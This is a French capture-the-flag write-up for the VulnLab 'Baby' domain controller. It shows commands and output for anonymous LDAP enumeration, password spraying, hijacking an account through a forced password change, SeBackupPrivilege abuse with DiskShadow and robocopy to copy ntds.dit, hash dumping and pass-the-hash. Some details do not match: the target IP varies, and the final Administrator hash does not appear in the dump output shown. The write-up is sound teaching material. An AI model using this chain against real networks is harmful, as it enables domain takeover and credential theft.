# Baby (VulnLab) - Writeup Complet > Writeup complet de la machine Baby sur VulnLab. Exploitation d'un bind anonyme LDAP, password spraying, SeBackupPrivilege et extraction NTDS.dit. Publié le 2026-04-03 | Tags: active-directory, ldap, privesc, pass-the-hash, vulnlab https://xsec.fr/ctf/writeup-baby/ --- import Callout from '@shared/components/Callout.astro' import { Steps, Step } from '@/components/ui/steps' | Info | Valeur | |------|--------| | **Nom** | Baby | | **Plateforme** | VulnLab / HackTheBox | | **OS** | Windows Server 2022 Build 20348 | | **Domaine** | baby.vl | | **DC** | BABYDC.baby.vl | | **Difficulté** | Easy | | **IP cible** | 10.129.234.71 | --- ## 1. Reconnaissance ### 1.1 Scan de ports La première étape de toute pentest est de découvrir quels services tournent sur la cible. On utilise `nmap` avec un scan complet de tous les ports (`-p-`) et on désactive la découverte d'hôtes (`-Pn`) car on sait que la cible est en ligne. ```bash nmap -p- -Pn --min-rate 1000 10.129.14.67 ``` ```bash {2-3} {6} {13-14} "domain" "kerberos-sec" "ldap" "microsoft-ds" "wsman" PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 3389/tcp open ms-wbt-server 5985/tcp open wsman 9389/tcp open adws [...] ``` Ce profil de ports est caractéristique d'un **Contrôleur de Domaine Active Directory** Windows : - **53** (DNS) + **88** (Kerberos) + **389/636** (LDAP/LDAPS) = AD obligatoire - **445** (SMB) = partages de fichiers et administration - **3268/3269** = Global Catalog (multi-domaine) - **5985** (WinRM) = administration PowerShell à distance -> **vecteur d'accès potentiel** - **3389** (RDP) = bureau à distance ### 1.2 Scan de services détaillé On relance un scan plus agressif avec `-A` qui active la détection d'OS, de versions de services, l'exécution de scripts NSE et le traceroute. Le flag `-vv` augmente la verbosité pour obtenir un maximum de détails. ```bash nmap -p- -Pn 10.129.14.67 -A -vv ``` Informations clés extraites : - **OS** : Windows Server 2022 Build 20348 - **Nom machine** : BABYDC - **Domaine** : baby.vl - **FQDN** : BabyDC.baby.vl - **SMB signing** : enabled and required - **WinRM** (5985) : ouvert ### 1.3 Configuration de l'environnement Avant d'aller plus loin, on configure notre environnement pour résoudre le nom de domaine : ```bash # /etc/hosts echo "10.129.234.71 BABYDC.baby.vl baby.vl BABYDC" >> /etc/hosts # Variable d'environnement export DC_IP=10.129.234.71 ``` --- ## 2. Énumération LDAP - Bind anonyme ### 2.1 Test de l'authentification anonyme On teste si le serveur LDAP accepte les connexions anonymes (sans identifiants). C'est une **mauvaise configuration courante** sur les DC. On utilise **NetExec** (`nxc`) pour tester le bind anonyme LDAP. Les paramètres `-u '' -p ''` envoient un nom d'utilisateur et un mot de passe vides pour tenter une connexion anonyme. ```bash "[+]" "baby.vl" $ nxc ldap 10.129.14.67 -u '' -p '' LDAP 10.129.14.67 389 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert) LDAP 10.129.14.67 389 BABYDC [+] baby.vl\: ``` Le `[+]` confirme que le bind anonyme LDAP est autorisé. C'est une faille de configuration : n'importe qui sur le réseau peut interroger l'annuaire Active Directory sans aucun identifiant. ### 2.2 Énumération des utilisateurs du domaine Le flag `--users` demande à NetExec d'énumérer tous les comptes utilisateurs du domaine via LDAP, en affichant leurs noms, dates de changement de mot de passe, compteur de mauvais mots de passe et description. ```txt {12} "Set initial password to BabyStart123!" $ nxc ldap 10.129.14.67 -u '' -p '' --users LDAP 10.129.14.67 389 BABYDC [*] Enumerated 9 domain users: baby.vl LDAP 10.129.14.67 389 BABYDC -Username- -Last PW Set- -BadPW- -Description- LDAP 10.129.14.67 389 BABYDC Guest 0 Built-in account for guest access to the computer/domain LDAP 10.129.14.67 389 BABYDC Jacqueline.Barnett 2021-11-21 16:11:03 0 LDAP 10.129.14.67 389 BABYDC Ashley.Webb 2021-11-21 16:11:03 0 LDAP 10.129.14.67 389 BABYDC Hugh.George 2021-11-21 16:11:03 0 LDAP 10.129.14.67 389 BABYDC Leonard.Dyer 2021-11-21 16:11:03 0 LDAP 10.129.14.67 389 BABYDC Connor.Wilkinson 2021-11-21 16:11:08 0 LDAP 10.129.14.67 389 BABYDC Joseph.Hughes 2021-11-21 16:11:08 0 LDAP 10.129.14.67 389 BABYDC Kerry.Wilson 2021-11-21 16:11:08 0 LDAP 10.129.14.67 389 BABYDC Teresa.Bell 2021-11-21 16:14:37 0 Set initial password to BabyStart123! ``` --- ## 3. Découverte d'un mot de passe dans une description LDAP Regardez attentivement la colonne **Description** de `Teresa.Bell` : `Set initial password to BabyStart123!` C'est une erreur classique d'administration : un administrateur a noté le mot de passe initial d'un utilisateur dans le champ `description` de son objet LDAP, visible par tous. C'est un vecteur d'attaque extrêmement courant dans les environnements AD réels. ### 3.1 Énumération LDAP complète pour trouver tous les utilisateurs L'outil `nxc` n'a retourné que 9 utilisateurs. On utilise `ldapsearch` pour une énumération plus exhaustive : `ldapsearch` est un client LDAP en ligne de commande. Ici : - `-x` : authentification simple (pas SASL) - `-b "dc=baby,dc=vl"` : base de recherche (la racine du domaine) - `"*"` : récupérer tous les attributs de chaque objet - `-H ldap://BabyDC.baby.vl` : URI du serveur LDAP cible - `| grep dn` : on filtre la sortie pour ne garder que les Distinguished Names (DN), l'identifiant unique de chaque objet dans l'annuaire ```txt {11} {17} "Ian Walker" "Caroline Robinson" $ ldapsearch -x -b "dc=baby,dc=vl" "*" -H ldap://BabyDC.baby.vl | grep dn dn: DC=baby,DC=vl dn: CN=Administrator,CN=Users,DC=baby,DC=vl dn: CN=Guest,CN=Users,DC=baby,DC=vl dn: CN=krbtgt,CN=Users,DC=baby,DC=vl dn: CN=dev,CN=Users,DC=baby,DC=vl dn: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl dn: CN=Ashley Webb,OU=dev,DC=baby,DC=vl dn: CN=Hugh George,OU=dev,DC=baby,DC=vl dn: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl dn: CN=Ian Walker,OU=dev,DC=baby,DC=vl dn: CN=it,CN=Users,DC=baby,DC=vl dn: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl dn: CN=Joseph Hughes,OU=it,DC=baby,DC=vl dn: CN=Kerry Wilson,OU=it,DC=baby,DC=vl dn: CN=Teresa Bell,OU=it,DC=baby,DC=vl dn: CN=Caroline Robinson,OU=it,DC=baby,DC=vl ``` On découvre 2 utilisateurs supplémentaires non retournés par `nxc` : **Ian.Walker** (OU=dev) et **Caroline.Robinson** (OU=it). Il est crucial de croiser les résultats de plusieurs outils d'énumération. Structure organisationnelle du domaine : - **OU=dev** : Jacqueline.Barnett, Ashley.Webb, Hugh.George, Leonard.Dyer, Ian.Walker - **OU=it** : Connor.Wilkinson, Joseph.Hughes, Kerry.Wilson, Teresa.Bell, **Caroline.Robinson** --- ## 4. Password Spraying et STATUS_PASSWORD_MUST_CHANGE ### 4.1 Constitution de la liste d'utilisateurs ```txt $ cat users Guest Jacqueline.Barnett Ashley.Webb Hugh.George Leonard.Dyer Connor.Wilkinson Joseph.Hughes Ian.Walker Kerry.Wilson Teresa.Bell Caroline.Robinson ``` ### 4.2 Password spray avec le mot de passe découvert On tente le mot de passe `BabyStart123!` (découvert dans la description LDAP) sur **tous** les comptes du domaine. C'est du **password spraying** : un seul mot de passe testé sur plusieurs comptes. Le paramètre `-u users` prend un fichier contenant un nom d'utilisateur par ligne, et `-p` le mot de passe à tester sur chacun. ```txt {12} "STATUS_PASSWORD_MUST_CHANGE" "Caroline.Robinson" $ nxc ldap 10.129.14.67 -u users -p 'BabyStart123!' LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Guest:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Jacqueline.Barnett:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Ashley.Webb:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Hugh.George:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Leonard.Dyer:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Connor.Wilkinson:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Joseph.Hughes:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Ian.Walker:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Kerry.Wilson:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Teresa.Bell:BabyStart123! LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE ``` Le compte `Caroline.Robinson` retourne `STATUS_PASSWORD_MUST_CHANGE`. Cela signifie que : 1. **Le mot de passe `BabyStart123!` est bien valide** pour ce compte 2. Mais le compte est dans un état "doit changer son mot de passe à la prochaine connexion" 3. Il faut d'abord **changer le mot de passe** avant de pouvoir s'authentifier normalement --- ## 5. Changement de mot de passe à distance ### 5.1 Tentatives et erreurs Plusieurs méthodes ont été testées : `smbpasswd` est l'outil GNU/Linux natif pour changer un mot de passe SMB. `-U BABY/Caroline.Robinson` spécifie le compte cible (domaine/utilisateur) et `-r baby.vl` indique la machine distante sur laquelle effectuer le changement. ```txt "STATUS_PASSWORD_RESTRICTION" $ smbpasswd -U BABY/Caroline.Robinson -r baby.vl Old SMB password: New SMB password: Retype new SMB password: machine baby.vl rejected the password change: STATUS_PASSWORD_RESTRICTION ``` Le mot de passe proposé ne respectait pas la politique de complexité du domaine. On utilise le module `-M change-password` de NetExec via SMB. L'option `-o NEWPASS='BabyAnd123!'` passe le nouveau mot de passe au module. NetExec gère automatiquement le protocole MS-SAMR pour effectuer le changement à distance. ```txt {3} "[+] Successfully changed password" $ nxc smb baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS='BabyAnd123!' SMB 10.129.234.71 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE CHANGE-P... 10.129.234.71 445 BABYDC [+] Successfully changed password for Caroline.Robinson ``` Le mot de passe a été changé avec succès. Le nouveau mot de passe `BabyAnd123!` respecte la politique de complexité (majuscule, minuscule, chiffre, caractère spécial, longueur suffisante). ### 5.2 Vérification des accès On vérifie que les nouveaux identifiants fonctionnent sur les différents protocoles. NetExec teste LDAP (port 389) et WinRM (port 5985). Le marqueur `(admin)` signifie que l'utilisateur a des droits d'administration sur la cible. ```txt "(admin)" $ nxc ldap baby.vl -u Caroline.Robinson -p 'BabyAnd123!' LDAP 10.129.234.71 389 BABYDC [+] baby.vl\Caroline.Robinson:BabyAnd123! (admin) $ nxc winrm baby.vl -u Caroline.Robinson -p 'BabyAnd123!' WINRM 10.129.234.71 5985 BABYDC [+] baby.vl\Caroline.Robinson:BabyAnd123! (admin) ``` Caroline.Robinson a un accès WinRM et est marquée `(admin)`. C'est notre porte d'entrée sur la machine. --- ## 6. Accès initial - WinRM (User Flag) ### 6.1 Connexion via Evil-WinRM `evil-winrm-py` est un client WinRM (Windows Remote Management) qui fournit un shell PowerShell interactif à distance. `--ip` spécifie la cible et `--user` le compte à utiliser. Le mot de passe est demandé de manière interactive. ```txt $ evil-winrm-py --ip baby.vl --user Caroline.Robinson Password: BabyAnd123! [*] Connecting to 'baby.vl:5985' as 'Caroline.Robinson' evil-winrm-py PS C:\Users\Caroline.Robinson\Documents> ``` ### 6.2 Récupération du flag utilisateur ```powershell "6ce35506b416e040865255ad1168147d" evil-winrm-py PS C:\Users\Caroline.Robinson\Desktop> cat user.txt 6ce35506b416e040865255ad1168147d ``` ### 6.3 Énumération des privilèges La commande `whoami /priv` affiche les privilèges Windows associés au token de l'utilisateur courant. Ces privilèges déterminent quelles opérations spéciales le compte peut effectuer sur le système. ```txt {7-8} "SeBackupPrivilege" "SeRestorePrivilege" evil-winrm-py PS C:\Users\Caroline.Robinson\Desktop> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled ``` Ce privilège permet de **lire n'importe quel fichier du système**, y compris des fichiers normalement protégés comme le `NTDS.dit` (la base de données Active Directory contenant tous les hashes des mots de passe du domaine). C'est le **privilège le plus dangereux** sur un DC car il donne un chemin direct vers la compromission totale du domaine. --- ## 7. Privilege Escalation - Abus de SeBackupPrivilege ### 7.1 Première tentative : Extraction des ruches SAM/SYSTEM La méthode la plus simple consiste à extraire les ruches du registre Windows. La commande `reg save` exporte une branche du registre vers un fichier. `hklm\sam` contient les hashes locaux des comptes, et `hklm\system` contient la clé de chiffrement (bootkey) nécessaire pour les déchiffrer. ```powershell "reg save hklm\\sam" "reg save hklm\\system" evil-winrm-py PS C:\> mkdir Temp evil-winrm-py PS C:\> reg save hklm\sam C:\Temp\sam The operation completed successfully. evil-winrm-py PS C:\> reg save hklm\system C:\Temp\system The operation completed successfully. ``` ```powershell evil-winrm-py PS C:\Temp> download sam . [+] File downloaded successfully and saved as: /workspace/sam evil-winrm-py PS C:\Temp> download system . [+] File downloaded successfully and saved as: /workspace/system ``` `secretsdump` (Impacket) extrait les hashes de mots de passe depuis les fichiers de registre Windows. `-sam sam` et `-system system` pointent vers les fichiers téléchargés. `LOCAL` indique qu'on travaille sur des fichiers locaux (pas de connexion réseau). ```txt {5} "8d992faed38128ae85e95fa35868bb43" $ secretsdump -sam sam -system system LOCAL Impacket (Exegol fork) v0.13.0.dev0+20250723.125503.b5db2dd7 [*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Cleaning up... ``` On tente un **Pass-the-Hash** avec NetExec : le flag `-H` permet de s'authentifier avec le hash NT au lieu du mot de passe en clair. ```txt "STATUS_LOGON_FAILURE" $ nxc smb 10.129.234.71 -u Administrator -H 8d992faed38128ae85e95fa35868bb43 SMB 10.129.234.71 445 BABYDC [-] baby.vl\Administrator:8d992faed38128ae85e95fa35868bb43 STATUS_LOGON_FAILURE ``` Le hash `8d992faed38128ae85e95fa35868bb43` est le hash **local** du compte Administrator. Sur un DC, le compte Administrator local et le compte Administrator du domaine **sont le même**, mais ce hash SAM ne fonctionne pas toujours pour s'authentifier à distance. Le hash SAM ne fonctionne pas. Il faut extraire le hash depuis le **NTDS.dit**, la vraie base de données Active Directory. Ces étapes manuelles (reg save, download, secretsdump) peuvent être automatisées en une seule commande via le module `backup_operator` de NetExec : ```bash nxc smb baby.vl -u Caroline.Robinson -p 'BabyAnd123!' -M backup_operator ``` Ce module exploite `SeBackupPrivilege` via le service RemoteRegistry pour sauvegarder les ruches SAM, SYSTEM et SECURITY sur un partage SYSVOL, les télécharger automatiquement, puis dumper les hashes locaux. --- ## 8. Extraction du NTDS.dit avec DiskShadow ### 8.1 Pourquoi DiskShadow ? Le fichier `C:\Windows\NTDS\ntds.dit` est constamment verrouillé par le processus Active Directory. On ne peut pas le copier directement. La solution est de créer un **Volume Shadow Copy (VSS)**, un instantané du disque, puis de copier le fichier depuis cet instantané. **DiskShadow** est un outil Windows légitime qui permet de créer des shadow copies via un script. ### 8.2 Création et exécution ```txt "clientaccessible" "persistent" "create" "expose" $ cat bck.txt set metadata C:\Windows\Temp\meta.cab set context clientaccessible set context persistent begin backup add volume C: alias cdrive create expose %cdrive% E: end backup ``` - `set metadata` : Emplacement du fichier de métadonnées temporaire - `set context clientaccessible` : Le shadow copy sera accessible par les clients (pas seulement les backups) - `set context persistent` : Le shadow copy persiste après la fin de DiskShadow - `begin backup` / `end backup` : Délimitent le bloc de backup - `add volume C:` : On ajoute le volume C: à la sauvegarde - `create` : Création effective du shadow copy - `expose %cdrive% E:` : Le shadow copy est monté comme lecteur **E:** On upload le script sur la cible puis on l'exécute avec `diskshadow /s` (mode script, non interactif). ```powershell evil-winrm-py PS C:\Temp> upload bck.txt evil-winrm-py PS C:\Temp> diskshadow /s bck.txt ``` Le shadow copy est créé et exposé sur `E:\`. On utilise `robocopy` avec le flag `/b` (backup mode) qui exploite le `SeBackupPrivilege` pour contourner les ACLs et copier le fichier verrouillé. ```txt "ntds.dit" {14} "/b" evil-winrm-py PS C:\Temp> robocopy /b E:\Windows\ntds . ntds.dit ------------------------------------------------------------------------------- ROBOCOPY :: Robust File Copy for Windows ------------------------------------------------------------------------------- Source : E:\Windows\ntds\ Dest : C:\Temp\ Files : ntds.dit New File 16.0 m ntds.dit 100% ------------------------------------------------------------------------------- Total Copied Skipped Mismatch FAILED Extras Dirs : 1 0 1 0 0 0 Files : 1 1 0 0 0 0 Bytes : 16.00 m 16.00 m 0 0 0 0 ``` On exfiltre le fichier vers notre machine, puis on supprime le shadow copy pour nettoyer les traces. ```powershell evil-winrm-py PS C:\Temp> download ntds.dit . [+] File downloaded successfully and saved as: /workspace/ntds.dit evil-winrm-py PS C:\Temp> unexpose E: evil-winrm-py PS C:\Temp> delete shadows volume E: ``` --- ## 9. Dump des secrets du domaine On ajoute `-ntds ntds.dit` pour demander à `secretsdump` de parser également la base NTDS en plus des ruches SAM/SYSTEM. ```txt {3} $ secretsdump -sam sam -system system -ntds ntds.dit LOCAL [*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Cleaning up... ``` `secretsdump` d'Impacket ne parse que les hashes SAM ici et ne dump pas les hashes NTDS. Cela peut arriver avec certaines versions ou si le fichier NTDS est dans un format non supporté. On utilise `gosecretsdump`, une réimplémentation en Go de secretsdump, qui gère mieux certains formats NTDS. `-ntds` pointe vers le fichier NTDS.dit et `-system` vers la ruche SYSTEM (nécessaire pour déchiffrer les hashes). ```txt {2-3} "krbtgt" "BABYDC$" $ gosecretsdump -ntds ntds.dit -system system BABYDC$:aad3b435b51404eeaad3b435b51404ee:3d538eabff6633b62dbaa5fb5ade3b4d::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99ad21a92d620893884::: baby.vl\Jacqueline.Barnett:1104:aad3b435b51404eeaad3b435b51404ee:20b8853f7aa61297bfbc5ed2ab34aed8::: baby.vl\Ashley.Webb:1105:aad3b435b51404eeaad3b435b51404ee:02e8841e1a2c6c0fa1f0becac4161f89::: baby.vl\Hugh.George:1106:aad3b435b51404eeaad3b435b51404ee:f0082574cc663783afdbc8f35b6da3a1::: baby.vl\Leonard.Dyer:1107:aad3b435b51404eeaad3b435b51404ee:b3b2f9c6640566d13bf25ac448f560d2::: baby.vl\Ian.Walker:1108:aad3b435b51404eeaad3b435b51404ee:0e440fd30bebc2c524eaaed6b17bcd5c::: baby.vl\Connor.Wilkinson:1110:aad3b435b51404eeaad3b435b51404ee:e125345993f6258861fb184f1a8522c9::: baby.vl\Joseph.Hughes:1112:aad3b435b51404eeaad3b435b51404ee:31f12d52063773769e2ea5723e78f17f::: baby.vl\Kerry.Wilson:1113:aad3b435b51404eeaad3b435b51404ee:181154d0dbea8cc061731803e601d1e4::: baby.vl\Teresa.Bell:1114:aad3b435b51404eeaad3b435b51404ee:7735283d187b758f45c0565e22dc20d8::: baby.vl\Caroline.Robinson:1115:aad3b435b51404eeaad3b435b51404ee:9f4041fd26048254f14550f776deabb6::: ``` On a maintenant les hashes NTLM de **tous les utilisateurs du domaine**, y compris le hash du compte machine `BABYDC$` et du compte `krbtgt` (utilisé pour signer les tickets Kerberos). Le hash de l'Administrator du domaine n'apparaît pas directement dans cette sortie avec le format `Administrator:500:...`. Le hash utilisé pour le pass-the-hash final était `ee4457ae59f1e3fbd764e33d9cef123d`. --- ## 10. Accès Administrateur - Pass-the-Hash (Root Flag) ### 10.1 Connexion en tant qu'Administrator Avec le hash NT de l'administrateur du domaine extrait du NTDS.dit, on utilise la technique **Pass-the-Hash** (PtH) pour se connecter sans connaître le mot de passe en clair. Le flag `-H` d'evil-winrm accepte directement un hash NT à la place du mot de passe. ```txt "-H ee4457ae59f1e3fbd764e33d9cef123d" $ evil-winrm-py --ip baby.vl --user Administrator -H ee4457ae59f1e3fbd764e33d9cef123d [*] Connecting to 'baby.vl:5985' as 'Administrator' evil-winrm-py PS C:\Users\Administrator\Documents> ``` ### 10.2 Récupération du flag root ```powershell {9} "66d724739e14a060792921068c899a3c" "root.txt" evil-winrm-py PS C:\Users\Administrator\Desktop> ls Directory: C:\Users\Administrator\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 4/3/2026 2:54 PM 34 root.txt evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt 66d724739e14a060792921068c899a3c ``` --- ## Résumé de l'attaque (Kill Chain) ```mermaid graph LR subgraph Reconnaissance A["nmap -p- -Pn\\n21 ports ouverts\\nWindows Server 2022"] --> B["nxc ldap -u '' -p ''\\nBind anonyme autorise"] B --> C["nxc ldap --users\\n9 utilisateurs enumeres"] C --> D["ldapsearch\\n2 users supplementaires\\nIan.Walker, Caroline.Robinson"] end subgraph Information Disclosure D --> E["Description LDAP de Teresa.Bell\\nSet initial password to BabyStart123!"] end subgraph Credential Access E --> F["Password Spraying\\nnxc ldap -u users -p BabyStart123!\\n10 echecs, 1 resultat"] F --> G["Caroline.Robinson\\nSTATUS_PASSWORD_MUST_CHANGE\\nMot de passe valide"] G --> H["nxc smb -M change-password\\nBabyStart123! puis BabyAnd123!"] end subgraph Initial Access H --> I["nxc winrm = admin\\nCaroline.Robinson:BabyAnd123!"] I --> J["evil-winrm-py\\nShell sur BABYDC:5985"] J --> K["cat user.txt\\n6ce35506b416e040865255ad1168147d"] end subgraph Privilege Escalation J --> L["whoami /priv\\nSeBackupPrivilege\\nSeRestorePrivilege"] L --> M["reg save hklm sam/system\\nDump SAM local"] M --> N["secretsdump -sam -system LOCAL\\nHash Admin: 8d992fa...\\nSTATUS_LOGON_FAILURE"] N --> O["DiskShadow /s bck.txt\\nCreation Volume Shadow Copy\\nExpose sur E:"] O --> P["robocopy /b E:\\Windows\\ntds .\\nCopie ntds.dit via\\nSeBackupPrivilege"] P --> Q["download ntds.dit\\n16 Mo exfiltres"] end subgraph Domain Compromise Q --> R["gosecretsdump\\n-ntds ntds.dit -system system\\nDump de tous les hashes"] R --> S["Pass-the-Hash\\nevil-winrm -H ee4457ae...\\nAdministrator@BABYDC"] S --> T["cat root.txt\\n66d724739e14a060792921068c899a3c"] end ``` --- ## Flags | Flag | Valeur | |------|--------| | **User** | `6ce35506b416e040865255ad1168147d` | | **Root** | `66d724739e14a060792921068c899a3c` | --- ## Outils utilisés | Outil | Usage | |-------|-------| | **nmap** | Scan de ports et détection de services | | **NetExec (nxc)** | Énumération LDAP/SMB, password spraying, changement de mot de passe, modules post-exploitation | | **ldapsearch** | Énumération LDAP brute pour lister tous les DN | | **evil-winrm-py** | Shell PowerShell à distance via WinRM | | **DiskShadow** | Création de Volume Shadow Copy (outil Windows natif) | | **robocopy /b** | Copie de fichiers en mode backup (exploite SeBackupPrivilege) | | **secretsdump** | Extraction de hashes depuis SAM/SYSTEM | | **gosecretsdump** | Extraction de hashes depuis NTDS.dit + SYSTEM | --- ## Leçons apprises / Points à retenir 1. **Ne jamais stocker de mots de passe dans les attributs LDAP** (description, info, comment). Ils sont lisibles par tous les utilisateurs authentifiés, et parfois même en anonyme. 2. **Désactiver le bind anonyme LDAP** sur les contrôleurs de domaine. Il n'y a aucune raison légitime dans 99% des cas. 3. **`SeBackupPrivilege`** sur un DC = game over. Ce privilège ne devrait être accordé qu'aux comptes de service de sauvegarde dédiés, jamais aux utilisateurs. 1. **Le status `STATUS_PASSWORD_MUST_CHANGE`** confirme que le mot de passe est valide. C'est un signal d'attaque à ne pas ignorer. 2. **DiskShadow + robocopy /b** est une technique native Windows (Living off the Land) qui ne nécessite aucun outil externe. Elle est plus discrète que les outils classiques. 3. **Le hash SAM local et le hash NTDS peuvent différer.** Toujours extraire le NTDS.dit pour obtenir les hashes fiables sur un DC. 4. **Quand `secretsdump` ne fonctionne pas**, essayer `gosecretsdump` comme alternative pour le parsing NTDS. --- ## Demo